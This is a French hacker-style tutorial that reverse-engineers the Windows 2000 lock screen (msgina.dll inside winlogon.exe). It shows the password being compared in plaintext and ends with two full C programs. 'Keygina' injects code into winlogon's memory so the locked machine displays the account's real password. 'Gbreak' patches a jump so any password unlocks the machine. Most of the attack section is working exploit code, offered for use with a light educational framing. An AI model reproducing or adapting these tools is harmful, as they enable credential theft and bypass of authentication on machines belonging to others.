ntbug2005@yahoo.fr
SOMMAIRE
I. Introduction:
Normalement le système d'authentification est une partie
critique d'un système d'exploitation, car il permet d'identifier les
utilisateurs légitimes et de leurs accorder l'accès aux ressources de la
machine, il est donc indispensable de s'assurer que ce système soit fiable voir
même inviolable.
Ce que nous allons voir dans cet article est le résultat de la négligence des
programmeurs Microsoft à l'égard du système d'authentification interactive de
Windows 2000(donc Windows NT).Plus précisément on va mettre la lumière
sur une erreur de programmation qui s'est glissée dans la dll msgina.
Le problème se manifeste par la présence, en mémoire, des mots de passes des utilisateurs, et cela en clair!!(plain text) et non sous forme de hash ou bien sous forme cryptée.
Quand je parle ici des utilisateurs, il faut aussi inclure
l'administrateur alors forcément ça fait mal :)) et ce qui fait le plus mal
,c'est qu'il suffit d'un debugger pour pouvoir intercepter le mot de passe. Bref
avec cette faille, récupérer un mot de passe sous Windows devient un jeu
d'enfant. Plus besoin de cracker la sam ou bien dumper les hash depuis la base
des registres.:-)
Pour démontrer la gravité de la situation, on va avoir recours à une session
de reverse sur la dll msgina ce qui nous permettra littéralement de "keygener"
(si on peut dire ça) le système de verrouillage de win2k. "Keygener"
signifie ici, que nous allons obliger Windows à afficher (dans une boite de
dialogue) le bon mot de passe, lorsque on entre un mot de passe invalide (lors
du verrouillage de Win2k par les touches ctrl-alt-suppr puis on click sur
"Verrouiller L'ordinateur").
En plus de keygener le système d'authentification en exploitant une faille, on
va le neutraliser totalement et l'obliger à déverrouiller la machine même si
on ne possède pas le bon mot de passe. Ce qui prouvera une fois pour toute la
fragilité de ce système.
Finalement on va maîtriser le tout on codant deux patch "Keygina" et "Gbreak" (direct en mémoire) :-).
II. Outils:
Pour arriver à nos fins, on va utiliser :Je pense que tout bon hacker win32(ou bien cracker, programmeur,..) a déja en sa possession la majorité de ces outils (y compris le dernier),il ne reste plus qu'à connaître notre adversaire.
III. Le Système D'authentification Interactive:
Pour ceux d'entre vous qui n'ont toujours pas compris le rôle du système d'authentification interactive, et bien ce système est utilisé principalement sous Windows dans deux cas:
Dans ces deux cas le système d'authentification interactive est sollicité pour valider l'identité de l'utilisateur, initialiser le système avec le profile de cet utilisateur et enfin lui accorder un shell!!(sous windows le shell par défaut est le programme Explorer.exe).
-En interne tout ce travail a été confié au programme Winlogon.exe qui se trouve dans le répertoire system32 de windows.Mais en réalité Winlogon fait appel à la dll gina (msgina.dll) et aussi aux dll réseau (network providers).Ce qui nous donne un modèle de système d'authentification composé des trois parties suivantes:
Les dll réseau(network providers) n'ont pas une importance capitale pour nous,car elles sont uniquement utilisées dans les réseaux non-microsft pour initialiser et établir les connexions.
Gina dll ou bien "Graphical Identification and
Authentication DLL" s'occupe de la partie identification et de tout ce qui
concerne la politique d'authentification. Elle exporte des fonctions qui sont
utilisées par le programme Winlogon.
Cette dll a été implémentée sous forme de module unique et non incluse dans
Winlogon pour laisser une certaine liberté dans le choix de l'authentification
à utiliser. Par exemple il est possible de remplacer la dll msgina.dll, qui est
fournie en standard avec Windows, par votre propre dll gina qui permet
d'utiliser une carte à puce au lieu des classiques username et password pour
l'authentification ,mais cela est un tout autre sujet.
*Après avoir dit ça, on convient que l'essentiel de l'authentification est
assurée par l'interaction de Winlogon Avec Gina.Winlogon utilise les fonctions
qui sont exportées par msgina.dll et selon la documentation Microsoft(MSDN)
voici les principales fonctions qui doivent êtres exportées par gina:
On peut vérifier l'exactitude(ou l'inexactitude =)) de ces
information en ouvrant la dll msgina.dll (qui est situé dans winnt\system32)avec
w32dasm,puis on va dans le menu "Functions" et on clique sur
"Exports".Je vous laisse découvrir le résultat vous même ;)
Jusqu'ici nous avons une vision générale de gina et des fonctions qu'elle
exporte et cela est tout à fait suffisant pour exploiter notre faille. Alors on
passe à une partie plus fun de cette article.
IV. Msgina.dll faille & exploitation:
1. Diagnostic de la Faille:
Avant de plonger dans les entrailles de Windows, je tiens à
préciser que tout ce qui suit a été uniquement testé
sur Windows 2000 Professionnel, néanmoins vous pouvez essayer de vérifier
la présence de la faille sur Windows NT ou bien Windows XP en
vous inspirant des étapes ci-dessous.
Maintenant qu'on s'est mis d'accord, vous pouvez lancer Soft-ice (net start
ntice).
Une fois soft-ice lancé, verrouillez votre machine en appuyant sur les touches
ctrl-Alt-suppr puis on clique sur "verrouillé
l'ordinateur".Normalement vous devriez être devant une boite de dialogue
qui vous demande votre nom d'utilisateur et votre mot de passe.
Par défaut le champ nom d'utilisateur est déjà rempli
par le nom de l'utilisateur qui a verrouillé la machine, il ne
nous reste donc plus qu'a remplir le champ mot de passe.
Maintenant supposant que vous ne connaissez pas le mot de
passe (ce qui est faut parce que c'est votre machine :-))et que vous voulez
déverrouiller la machine. D'abord on essaye un pass bidon pour voir ce que ça
donne.
Donc entrez quelque chose dans le champs mot de passe et cliquez sur OK. Le
message suivant doit s'afficher:
---------------------------
Ordinateur verrouillé.
---------------------------
Le mot de passe est incorrect. Entrez de nouveau votre mot de
passe en respectant la casse. Assurez-vous que
Verr. Maj. n'est pas activé par erreur.
---------------------------
OK
---------------------------
Jusqu'ici le système fait sont travail correctement, on clique sur OK est on est de retour devant notre boite de dialogue qui nous demande toujours d'entrer le pass.
On affiche maintenant Soft-ice en appuyant sur les touches ctrl-d. On met un break point d'exécution sur la fonction GetDlgItemTextW (donc bpx GetDlgItemTextW), ce qui permettra de voir la saisie des valeurs du nom d'utilisateur et du mot de passe. On retourne sous Windows(avec ctrl-d) et on entre un pass bidon puis on valide avec OK. Aussitôt soft-ice s'affiche sur la première occurrence de la fonction GetDlgItemTextW. On appuie sur F12 pour sortir de GetDlgItemTextW et on se retrouve dans la fonction WlxWkstaLockedSas de msgina qui est chargée dans le processus Winlogon et plus précisément ici:
:7696E038 8D85DCF3FFFF
LEA EAX,[EBP+FFFFF3DC]<===ici
"nom d'utilisateur"
:7696E03E 56
PUSH ESI
:7696E03F 50
PUSH EAX <===empilement de l'adresse du buffer
:7696E040 53
PUSH EBX
:7696E041 FF7508
PUSH DWORD PTR [EBP+08]
:7696E044 FF15B8129676
Call [USER32!GetDlgItemTextW]
:7696E04A 3BC6
CMP EAX, ESI
Avant de détailler le code ci-dessus, nous allons jeter un
coup d'oeil sur la valeur du registre eax (dans softice
? eax) chez moi eax contient la valeur E en hexa donc 14 en décimal.14 est
exactement le nombre de lettres de mon nom d'utilisateur (qui est
Administrateur).
Donc la fonction GetDlgItemTextW a saisie le nom d'utilisateur, mais où est-il
stocké?
Revenons au code en haut, on remarque qu'avant d'appeler la fonction
GetDlgItemTextW les paramètres sont empilés. Selon la doc Microsoft(MSDN)
voici le prototype de la fonction GetDlgItemText :
UINT GetDlgItemText( HWND hDlg, // handle of dialog box
int nIDDlgItem, // identifier of control
LPTSTR lpString, // address of buffer for text
int nMaxCount // maximum size of string
);
Donc normalement le nom d'utilisateur est dans le buffer
dont
l'adresse (lpString) est le troisième paramètre de la fonction.
Windows utilise le stdcall ce qui signifie que les paramètres sont empilés
dans l'ordre inverse. Donc le troisième paramètre devient le deuxième à
empiler.
Dans soft-ice le deuxième paramètre empilé avant l'appel de GetDlgItemTextW,
est le registre EAX. Avant d'être empilé, ce registre a été initialisé avec
la valeur EBP+FFFFF3DC.C'est donc l'adresse ou est stocké
notre Nom d'utilisateur. Un petit "d EBP+FFFFF3DC" dans Soft-ice pour
vérifier que le nom d'utilisateur (chez moi "Administrateur" ) est
bien stocké dedans.
Maintenant on appuie sur ctrl-d pour quitter Soft-ice et il réapparaît aussi vite qu'il a disparu pour signaler un deuxième appel à la fonction GetDlgItemTextW. On appuie sur F12 pour sortir de la fonction comme précédemment. Ce deuxième appel de la fonction GetDlgItemTextW à pour objectif de saisir le mot de passe, et on se retrouve ici :
:7696E114
8D85DCEBFFFF
LEA EAX,[EBP+FFFFEBDC]<== ici mot de
passe
:7696E11A
56
PUSH ESI
:7696E11B
50
PUSH EAX
:7696E11C
68A2070000
PUSH 000007A2
:7696E121
FF7508
PUSH DWORD PTR [EBP+08]
:7696E124
FF15B8129676
Call [USER32!GetDlgItemTextW]
Avec le même raisonnement précédant, on utilise la commande
d EBP+FFFFEBDC pour voir le contenu du deuxième paramètre et on se rend compte
que le faux pass que nous avons entré est stocké dedans.
On va mettre un break point sur l'adresse en mémoire du pass (bpm
6E360) pour
pouvoir surveiller les accès à cette adresse. On sort de
soft-ice(ctrl-d)et il réapparaît, on appuie encore sur
ctrl-d deux ou trois fois jusqu'à ce qu'on se retrouve devant la comparaison (cmp)
suivante:
001B:77E87ED6 668B02
MOV AX,[EDX]
001B:77E87ED9 663B07
CMP AX,[EDI]<====comparaison entre le pass valide et
le pass bidon
Le code ci-dessus se trouve dans le fonction CompareStringW (du kernel). En examinant les deux registres comparés(d EDX et d EDI) on se rend compte que EDX pointe sur le mot de passe que nous avons entré (Pass Bidon) et le vrai mot de passe qui peut déverrouillé la machine est pointé par le registre EDI !!!.Le vrai mot de passe est stocké en clair (plain-text) et il n'est pas crypté!! oula l'énorme bourde de la part de Microsoft!. "It's a bug It's not a feature ;)"
Normalement le mot de passe que nous avons entré devrait
être crypté puis comparé au mot de passe valide qui est
lui même crypté. Mais ici c'est exactement l'inverse qui s'est produit.
Autrement dit le mot de passe valide a été décrypté(avec la fonction
RtlRunDecodeUnicodeString (Encore un secret de Microsoft)), puis comparé au mot de passe que nous avons entré,
et le tout en clair. Je me demande encore pourquoi avoir fait une telle
erreur, alors qu'il était facile de crypter le mot de passe de
l'utilisateur avec la fonction RtlRunEncodeUnicodeString
puis d'effectuer la comparaison.
Enfin Microsoft a des raisons que la
raison ne comprend pas (mdr).
Il nous reste maintenant à exploiter cette erreur pour pouvoir extraire le
bon mot de passe, alors on passe vite fait à keygina.
2. Keygina :
J'ai essayé d'exploiter cette faille en codant un patch(keygen)
qui permet de faire afficher le mot de passe valide(dans
une boite de dialogue) quand la machine est verrouillé.
Pour cela j'ai utilisé la valeur renvoyée par la fonction
RtlRunDecodeUnicodeString comme paramètre de la fonction MessageBoxW, en
sachant que la valeur renvoyée par RtlRunDecodeUnicodeString(contenue dans eax)
n'est autre que l'adresse du mot de passe valide en clair.
On peut imaginer aussi l'utilisation de la fonction
RtlRunDecodeUnicodeString pour dumper le mot de passe mais cela nécéssite
l'analyse de cette fonction et ses paramètres vu que c'est une fonction du
kernel (non documentée).
Notre patch sera effectué dans la dll msgina parce que c'est elle qui utilise la
fonction RtlRunDecodeUnicodeString. Msgina est chargée(LoadLibrary)
dans l'espace du processus Winlogon au démarrage du système et elle y reste
jusqu'à ce que l'utilisateur se déconnecte. Il est donc indispensable
de patcher directement en mémoire. Le patch sera effectué après l'appel de la
fonction RtlRunDecodeUnicodeString, pour pouvoir utiliser la
valeur du registre eax comme
ceci:
Push 00
Dec eax
Dec eax
Push ebx
Push eax
Push 00
Call MessageBoxW
Ce code sera injecté directement après l'appel de RtlRunDecodeUnicodeString à l'endroit précis désigné dans le fragment de code suivant:
001B:7696E177
50
Push eax
001B:7696E178 E88D68FFFF
Call 76964A0A<=====ici appel de
RtlRunDecodeUnicodeString
001B:7696E17D FFB7F4040000
Push Dword Ptr [EDI+000004F4]<==ici on patch
Pour patcher j'ai écrasé directement le code de msgina et j'ai stabilisé le tout avec quelques nop(0x90).(Pas la peine de faire le Virus en codant un saut ;-)) Je n'ai pas voulu utiliser de librairies spéciales(whl de CrazyLord) dans le patch pour avoir plus de transparence et aussi parce que j'aime bien coder mes propres outils ;-).
Bon j'ai assez parlé comme ça et je vous laisse matter le source du patch (Keygina) ou bien télécharger une version plus confortable à lire en cliquant ici.
/*<---coupez ici--------------------------Keygina.c----------------------------->*/
/**********************************************************
*
KeyGina.c (Patch For Msgina by Codasyl)
*
**********************************************************/
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#define LOCKADR 0x7696E17D
/********************* Prototypes des fonctions
*********************/
int debug_mode(void);
DWORD GetWinlogonPid(void);
int keygen_lock(void);
/*@@@@@@@@@@@@@@@@ fonction principale (Main)@@@@@@@@@@@@@@@@*/
int main(void)
{
int ret;
ret=keygen_lock();
if(!ret)
{
printf("Keygina failed \n");
return 0;
}
printf("msgina patched successfuly!!\n");
return 1;
}
/*=================Implémentation des fonction =================*/
/* passage en mode debug */
int debug_mode(void)
{
HANDLE htoken;
LUID luid;
TOKEN_PRIVILEGES ptoken; if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&htoken))
{
printf("Error Debug Mode :Failed 1!!\n");
return 0;
}
if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&luid))
{
printf("Error Debug Mode:Failed 2!!\n");
return 0;
}
ptoken.PrivilegeCount=1;
ptoken.Privileges[0].Luid=luid;
ptoken.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(htoken,FALSE,&ptoken,0,NULL,NULL))
{
printf("Error Debug Mode:Failed 3!!\n");
return 0;
}
CloseHandle(htoken);
return 1;
}
/* Trouve le Process Id de Winlogon */
DWORD GetWinlogonPid(void)
{
HANDLE hProcessSnap=NULL;
PROCESSENTRY32 pe32;
char procname[]="winlogon.exe";
DWORD pid=0;
BOOL ret=FALSE;
/* on prend un snapshot de tout les processus du system */
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap==(HANDLE)-1)
{
printf("Failed(1) To retrieve The Process id Of Winlogon!!\n");
return 0;
}
pe32.dwSize=sizeof(PROCESSENTRY32);
ret=Process32First(hProcessSnap,&pe32);
if(!ret)
{
printf("Failed(2) To retrieve The Process id Of Winlogon!!\n");
CloseHandle(hProcessSnap);
return 0;
}
do{
if(strstr(procname,strlwr(pe32.szExeFile)))
{
pid=pe32.th32ProcessID;
CloseHandle(hProcessSnap);
return(pid);
}
}while(Process32Next(hProcessSnap,&pe32));
printf("Failed(3) To retrieve The Process id Of Winlogon!!\n");
CloseHandle(hProcessSnap);
return 0;
}
/** fonction pour keygener le systeme de verrouillage **/
int keygen_lock()
{
UCHAR code[21]={0x6A,0x00,0x48,0x48,0x53,0x50,0x6A,0x00,0xE8,0xFB,0x54,0x4B,0x01,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};
HANDLE hProcess=NULL;
BOOL ret=FALSE;
DWORD pid=0,nbytes=0;
UCHAR check[2]={0,0};
/* passage en mode debug */
if(!debug_mode())
return 0;
/* ouverture du processus Winlogon */
pid=GetWinlogonPid();
if(!pid)
return 0;
hProcess=OpenProcess(PROCESS_ALL_ACCESS,TRUE,pid);
if(hProcess==NULL)
{
printf("Error:Can't Open Winlogon Process!!\n");
return 0;
}
/* Vérification Du Patch */
ret=ReadProcessMemory(hProcess,(PVOID)LOCKADR,check,2,&nbytes);
if(!ret || nbytes!=2 )
{
printf("Checking Memory Failed!!\n");
CloseHandle(hProcess);
return 0;
}
if((check[0]==0x6A) && (check[1]==0x00))
{
printf("You Are Already Patched :-)\n");
CloseHandle(hProcess);
return 1;
}
/* Ecriture dans l'espace mémoire de Winlogon */
ret=WriteProcessMemory(hProcess,(PVOID)LOCKADR,code,21,&nbytes);
if (!ret || nbytes!=21)
{
printf("Error:Unable To Patch msgina!!\n");
CloseHandle(hProcess);
return 0;
}
CloseHandle(hProcess);
return 1;
}
/*<---coupez ici--------------------------Keygina.C----------------------------->*/
3. Gbreak:
Gbreak c'est le patch pour faire sauter le verrouillage.
Autrement dit après l'exécution de Gbreak, votre machine pourra être
déverrouillée avec
n'importe quel mot de passe.
Le patch consiste seulement à inverser un saut conditionnel
bien précis. Pour trouver le saut, il faut juste essayer de suivre la logique
de fonctionnement de gina (avec soft-ice) tout en essayant de modifier cette
logique en assemblant votre code grâce à la commande "a" de
soft-ice. Si vous n'arrivez toujours pas à trouver le bon saut et bien vous
avez l'offset dans le code de Gbreak (télécharger une version plus confortable
à lire: ici) :
/*<---coupez ici--------------------------Gbreak.C----------------------------->*/
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#define LOCKADR2 0x7696E195
int debug_mode(void);
DWORD GetWinlogonPid(void);
int disable_lock(void);
/* Fonction Main */
int main(void)
{
int ret=0;
ret=disable_lock();
if(!ret)
{
printf("Patch Failed\n");
return 0;
}
else
{
printf("Lock Disabled Successfuly!!\n");
return 1;
}
}
/* Fin De Main */
/* passage en mode debug */
int debug_mode(void)
{
HANDLE htoken;
LUID luid;
TOKEN_PRIVILEGES ptoken;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&htoken))
{
printf("Error Debug Mode :Failed 1!!\n");
return 0;
}
if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&luid))
{
printf("Error Debug Mode:Failed 2!!\n");
return 0;
}
ptoken.PrivilegeCount=1;
ptoken.Privileges[0].Luid=luid;
ptoken.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(htoken,FALSE,&ptoken,0,NULL,NULL))
{
printf("Error Debug Mode:Failed 3!!\n");
return 0;
}
CloseHandle(htoken);
return 1;
}
/* Fonction pour trouver le pid de winlogon */
DWORD GetWinlogonPid(void)
{
HANDLE hProcessSnap=NULL;
PROCESSENTRY32 pe32;
char procname[]="winlogon.exe";
DWORD pid=0;
BOOL ret=FALSE;
/* on prend un snapshot de tout les processus du system */
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap==(HANDLE)-1)
{
printf("Failed(1) To retrieve The Process id Of Winlogon!!\n");
return 0;
}
pe32.dwSize=sizeof(PROCESSENTRY32);
ret=Process32First(hProcessSnap,&pe32);
if(!ret)
{
printf("Failed(2) To retrieve The Process id Of Winlogon!!\n");
CloseHandle(hProcessSnap);
return 0;
}
do{
if(strstr(procname,strlwr(pe32.szExeFile)))
{
pid=pe32.th32ProcessID;
CloseHandle(hProcessSnap);
return(pid);
}
}while(Process32Next(hProcessSnap,&pe32));
printf("Failed(3) To retrieve The Process id Of Winlogon!!\n");
CloseHandle(hProcessSnap);
return 0;
}
/* Rend Le système de verrouillage complètement con ;-) */
int disable_lock(void)
{
UCHAR patch=0x84;
HANDLE hProcess=NULL;
BOOL ret=FALSE;
DWORD pid=0,nbytes=0;
UCHAR check=0x00;
/* passage en mode debug */
if(!debug_mode())
return 0;
/* ouverture du processus Winlogon */
pid=GetWinlogonPid();
if(!pid)
return 0;
hProcess=OpenProcess(PROCESS_ALL_ACCESS,TRUE,pid);
if(hProcess==NULL)
{
printf("Error:Can't Open Winlogon Process!!\n");
return 0;
}
/* Vérification Du Patch */
ret=ReadProcessMemory(hProcess,(PVOID)LOCKADR2,&check,1,&nbytes);
if(!ret || nbytes!=1 )
{
printf("Checking Memory Failed!!\n");
CloseHandle(hProcess);
return 0;
}
if( check==0x84 )
{
printf("You Locking System Is Already Disabled :-)\n");
CloseHandle(hProcess);
return 1;
}
ret=WriteProcessMemory(hProcess,(PVOID)LOCKADR2,&patch,1,&nbytes);
if (!ret || nbytes!=1)
{
printf("Error:Unable To Patch msgina!!\n");
CloseHandle(hProcess);
return 0;
}
CloseHandle(hProcess);
return 1;
}
/*<---coupez ici--------------------------Gbreak.C----------------------------->*/
V. Conclusion:
Voila, l'article est terminé. J'espère que vous avez appris beaucoup de choses, car contrairement aux apparences, le but de cet article n'était pas de dénigrer Windows 2000 ou bien encore contribuer à démolire la réputation de Microsoft mais plutôt d'acquérir quelques techniques qui vous serviront dans votre longue quête(EverQuest ;-)).
Je vous invite à m'envoyer vos suggestions et commentaires à l'adresse ntbug2005@yahoo.fr ou bien à venir directement en parler sur irc (serveur epiknet chan #csg ou #redkod). Sinon pour les insultes ou remarques futiles (genre ceux de bonnobo ;-) ) envoyez les plutôt à /dev/null .
Greetz
Uri3l,Taylor,Ex0d,Flyers,Hier,R-e-D,Weedo
OVEEEEEEEEEEEEEEEEER